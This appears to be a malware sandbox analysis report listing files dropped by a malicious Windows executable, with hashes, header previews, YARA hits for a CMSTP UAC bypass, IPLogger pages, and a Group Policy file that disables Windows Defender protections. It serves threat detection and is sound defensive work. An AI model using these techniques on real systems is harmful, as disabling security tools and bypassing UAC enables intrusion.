File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6892232
Entropy (8bit):	7.996333388958455
Encrypted:	true
SSDEEP:	196608:91OSMJdJiB9rrezjknd2evIO726Kc0ODm2ysYg3rG:3OSA8wYvt2vc0OnyA3rG
MD5:	53D14BD638C98C210E391151A8D3BCCC
SHA1:	B3521F13E3C43295DFA291D5B047372DDC3C1A8B
SHA-256:	1FB6D951265C037103AA2165A5CBF19961FD3EF1FF8017E461682B6666CE3898
SHA-512:	0C02D70EB04C5618CCF9AC500BEC427CBCD3A26E54567535C0B4B19C8D3AB6B04C8EE893A3E0DA7861CFCA0C652B330AC682F8EAE091B225F2A824723BC5B568
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\iuDvaF9Di8V3GPfVdVsLOQc6.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6892232
Entropy (8bit):	7.996333388958455
Encrypted:	true
SSDEEP:	196608:91OSMJdJiB9rrezjknd2evIO726Kc0ODm2ysYg3rG:3OSA8wYvt2vc0OnyA3rG
MD5:	53D14BD638C98C210E391151A8D3BCCC
SHA1:	B3521F13E3C43295DFA291D5B047372DDC3C1A8B
SHA-256:	1FB6D951265C037103AA2165A5CBF19961FD3EF1FF8017E461682B6666CE3898
SHA-512:	0C02D70EB04C5618CCF9AC500BEC427CBCD3A26E54567535C0B4B19C8D3AB6B04C8EE893A3E0DA7861CFCA0C652B330AC682F8EAE091B225F2A824723BC5B568
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\kIqVtyaJ3Md4voRq7FbxRbNc.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\m1SrljFNqYeH3vArtbYAaVjK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6892232
Entropy (8bit):	7.996333388958455
Encrypted:	true
SSDEEP:	196608:91OSMJdJiB9rrezjknd2evIO726Kc0ODm2ysYg3rG:3OSA8wYvt2vc0OnyA3rG
MD5:	53D14BD638C98C210E391151A8D3BCCC
SHA1:	B3521F13E3C43295DFA291D5B047372DDC3C1A8B
SHA-256:	1FB6D951265C037103AA2165A5CBF19961FD3EF1FF8017E461682B6666CE3898
SHA-512:	0C02D70EB04C5618CCF9AC500BEC427CBCD3A26E54567535C0B4B19C8D3AB6B04C8EE893A3E0DA7861CFCA0C652B330AC682F8EAE091B225F2A824723BC5B568
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\oabRgCI78gjFIFXr0JEwCrFT.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\qDDOYpn1QugD92FNbGgaxms8.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\twwmm95SEd1qhyzlGrhpRq1C.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\vzNIVOaxf0vNgO94DAC9jWgi.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	223744
Entropy (8bit):	6.935500931385667
Encrypted:	false
SSDEEP:	3072:Kuznf8GvOGOqHDT6C3q+OElN2SeYgzOdZRJZlb3asijEq95mdBbx1ldvhqy:Hf8COqjmC64eYgzOJZlWsi19YdX1ld
MD5:	C5A6381354CD5D1488E362C9103C1851
SHA1:	3D87BC60F2C8A74BCD0295AF4EDF02D9486BE3B5
SHA-256:	B69CF7AEC22182A247D52D76C200A78128CCCAFA246DEDAFC8898824DB7424F9
SHA-512:	2C22149B37041AE844F3A12459C8A7EA837B1F62E0F54D4C9FC188D823433B92497AB697F841C05D958A758A9A2B69AC0DDB779659B19721FEED54B4C5736CE7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...............................................N.............N......Rich............................PE..L.....Md.....................N.......>............@..........................`.......d.......................................i..P...................................i..............................@_..@...............d............................text.../........................... ..`.rdata...q.......r..................@..@.data...`1.......x...\..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\w0LUzqfajtYxxu1NAEZFwfRY.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\xHjBfoMXM1Bms4i9lirVpf5B.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1524456
Entropy (8bit):	6.801769891654878
Encrypted:	false
SSDEEP:	24576:3D1YS7FpyUxT3DC2C1zj1SqdAGFQZIx2C45UJoeXH:OQ5xT3DDazjYq+ZIwL5UJoe3
MD5:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
SHA1:	BFF5CE910F75AEAE37583A63828A00AE5F02C4E7
SHA-256:	DD0E8944471F44180DD44807D817E0B8A1C931FC67D48278CDB7354D98567E7C
SHA-512:	06FAE66DA503EB1B9B4FBE63A5BB98C519A43999060029C35FE289E60B1CB126A6278C67CE90F02E05B893FCAEA6D54F9DEB65BC6DA82561487A7754F50C93D1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:..i..i..iM..i..i...i..i...iY.i...i..i..i..i...i..i...i..i..iB.i...i..i..i..i...i..iRich..i................PE..L......a.............................<............@..................................$.......................................Y..(.... ..`V..............P,..........@..................................@...............`...pD..@....................text............................... ..`.rdata...V.......X..................@..@.data...@....p...h...T..............@....rsrc...`V... ...X..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\z7qYuSNnmN1T20mVDPQyJKNf.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	6923264
Entropy (8bit):	7.247307521328743
Encrypted:	false
SSDEEP:	49152:/d84kqSab6V599+xS6Zokh5QK4SbHo/xak/tMw1NxcwCr4RCmUUdr5snBK0PSGUh:/G4kwGb948Aok/+OwVRcwksVsnkL7
MD5:	F0587649682207064554A2372966435D
SHA1:	2E8B948DFCFFCEB8ACF550A585D2EA127F28F41F
SHA-256:	6BD479DD9293043D4149641897629169DF609ADF72926D32ADFE0094C583828E
SHA-512:	F5D683B9F71F5F3647D0592F801C02F1DCEA7EB49B16FA2E481487D0ABC1770610DC9182148A68F749B19950FC3B122911AE0FD1B167CE5DDE31931A14B45FDD
Malicious:	true
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...3.;f.........."....'.............D.........@.....................................!j... .........................................................0..d.......................................................(................................................... .........T&..................... ..... .......X&..................rsrc...d....0.......`&.............@....idata...............(.............@....tls..................(..................themida..A......A...(.............`...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\lgX7lgUL1w.exe

Download File

Process:	C:\Users\user\Desktop\lgX7lgUL1w.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1843424
Entropy (8bit):	6.796482233204677
Encrypted:	false
SSDEEP:	24576:jynjN3fi9dEoZR814OEQjls30eTFxmT4i8eMOq52eOXuq01dKqOF7:ujN3CdJ81nEQhs30eWuqsrOF7
MD5:	7FF8C26A36F5A4566990745DFF1594F3
SHA1:	5D73BBD168FB9B1E43051340A415D95F28C40F4D
SHA-256:	FC44A0E8161907E73F2E7F0EE5B264A8E2C78F5AF3437C4CB25341661DA8D813
SHA-512:	D97BE45D80E85722E74B44AEFF834B2CCC219520C7D1632452C4A361B9DEA59439F0F0BA27AF6444132147C7BC30CCD5582BB0A0E246BAF00F61E16195706B2D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Users\user\lgX7lgUL1w.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD, Description: Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF, Source: C:\Users\user\lgX7lgUL1w.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6c.IW._IW._IW._O..^EW._O..^XW._O..^gW._@/._GW._./.^BW._IW._IV._.+.^BW._.+.^.W._IW._KW._#..^HW._#.._HW._#..^HW._RichIW._........................PE..d...vsNf.........."....&.....V......\..........@............................. ".....?.....`..........................................y..X....y........!.`1.... .L1............".4...p...........................(...0...@...............x............................text............................... ..`.managedh....0....... .............. ..`hydrated.................................rdata..............................@..@.data............"...x..............@....pdata..L1.... ..2..................@..@_RDATA........!.....................@..@.rsrc...`1....!..2..................@..@.reloc..4.....".....................@..B........................................................................................................

C:\Users\user\lgX7lgUL1w.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lgX7lgUL1w.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.080093624462795
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsUov:1WsMzYHxbnvEcvgqv
MD5:	8EF9853D1881C5FE4D681BFB31282A01
SHA1:	A05609065520E4B4E553784C566430AD9736F19F
SHA-256:	9228F13D82C3DC96B957769F6081E5BAC53CFFCA4FFDE0BA1E102D9968F184A2
SHA-512:	5DDEE931A08CFEA5BB9D1C36355D47155A24D617C2A11D08364FFC54E593064011DEE4FEA8AC5B67029CAB515D3071F0BA0422BB76AF492A3115272BA8FEB005
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=1..

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.4679554894199565
Encrypted:	false
SSDEEP:	6:kKAD8wcEJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:S6kPlE99SCQl2DUevat
MD5:	365A44296A5098D747D10E2A01C9E634
SHA1:	B6B232D785F871E6B1DD92EEB74C842B7441D0E3
SHA-256:	253F4BCC6E416C65F179AB8A43EB1C0E64E08EDAB805EF431341482512811FE6
SHA-512:	6D196354E03118CFE96E92CF047E54A9738E1D12F9A1ABE511F44006A1F88FA59D004BEA1F753B9A01913DC002CBF79902852522D24B3621CCF8EB49B0CF6668
Malicious:	false
Reputation:	unknown
Preview:	p...... .........'.....(.................................................;).... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\Tasks\bbmnnUCIPYyTQrzMQJ.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	458
Entropy (8bit):	3.625991027029207
Encrypted:	false
SSDEEP:	12:fbBJJQ1b7IWGdHAAzioA8KJQ1b7PkXd8kX+Vas:fb7uNMHAPOKuNPd
MD5:	F3FA57FCB11D4A93EC6338AB3883361C
SHA1:	BE27093F2A5E937C376B401ABA879854DD8BFFC6
SHA-256:	7EFDC49642B1C2266F54A8498541856A44BF2FD5C8E27D9AA4DCDBCB91853C82
SHA-512:	2071D6B937C1D340451E704DB1AF08C6B4BC876F972332EF0D9EF391259B23D41659265AE60F4FA9540B16B196D70F8F2C61CF9829B01B9D13102AA6FCF185D1
Malicious:	false
Reputation:	unknown
Preview:	.....).c.,HH.<.8...F.......<... .....s...............................=.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.A.0.5.C...t.m.p.\.I.n.s.t.a.l.l...e.x.e.....i.t. ./.f.M.D.d.i.d.l.B.g.f. .3.8.5.1.1.8. ./.S...1.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.A.0.5.C...t.m.p.....F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...............................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.41397219602002
Encrypted:	false
SSDEEP:	6144:/cifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNb5+:ki58oSWIZBk2MM6AFBZo
MD5:	9EF8A791C06E6FF3D0BF8B783B8DBA36
SHA1:	3F082A336FEE7332E983E6289DE14F6D157504FC
SHA-256:	4783236679BC3A652E69A7AD8A9B0A8A40A60D6750AB30BEC0F0CF6924055A09
SHA-512:	6E74A79916443FFEA382864ED9E5275B41246A45A56EF3356DC5D08F58396E6E70987C449B6124AAA663FFD540CB2745E184EFD21B2FE2F613A7D12CB9580B93
Malicious:	false
Reputation:	unknown
Preview:	regfF...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.837326145256008
Encrypted:	false
SSDEEP:	3:YwM2F6ELdADAeGAMm96XyzGc7OS4Ql:Yw7663eG8FzGQR
MD5:	C1028F4DC91171021CC811DEC5CBD173
SHA1:	72358DE1D13924E08B33CE14A9D1E0BB0E04DFB1
SHA-256:	8D4075306F058EFA27EBCCDA57983F28F196141049701D07E044B7EA17F21B12
SHA-512:	72DC710CB1DE2D86121A7FAF4FE93D64B8A0FB9C9C7848A7A1ACA9BC429040CA8565C48861F53107A9709AAB2235DF6953AEF9282F382BE960344CD1E08735A9
Malicious:	false
Reputation:	unknown
Preview:	Executing (MSFT_MpPreference)->Add()...ERROR:...Description = Generic failure...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.796482233204677
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	lgX7lgUL1w.exe
File size:	1'843'424 bytes
MD5:	7ff8c26a36f5a4566990745dff1594f3
SHA1:	5d73bbd168fb9b1e43051340a415d95f28c40f4d
SHA256:	fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813
SHA512:	d97be45d80e85722e74b44aeff834b2ccc219520c7d1632452c4a361b9dea59439f0f0ba27af6444132147c7bc30ccd5582bb0a0e246baf00f61e16195706b2d
SSDEEP:	24576:jynjN3fi9dEoZR814OEQjls30eTFxmT4i8eMOq52eOXuq01dKqOF7:ujN3CdJ81nEQhs30eWuqsrOF7
TLSH:	3F85BF05A3F801E4E46BC634CA599733D2B1B44A1730E5CB0A5AD7922F73EE15BBF612
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6c.IW._IW._IW._O..^EW._O..^XW._O..^gW._@/._GW._./.^BW._IW._IV._.+.^BW._.+.^.W._IW._KW._#..^HW._#.._HW._#..^HW._RichIW._.......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140068d5c
Entrypoint Section:	.text
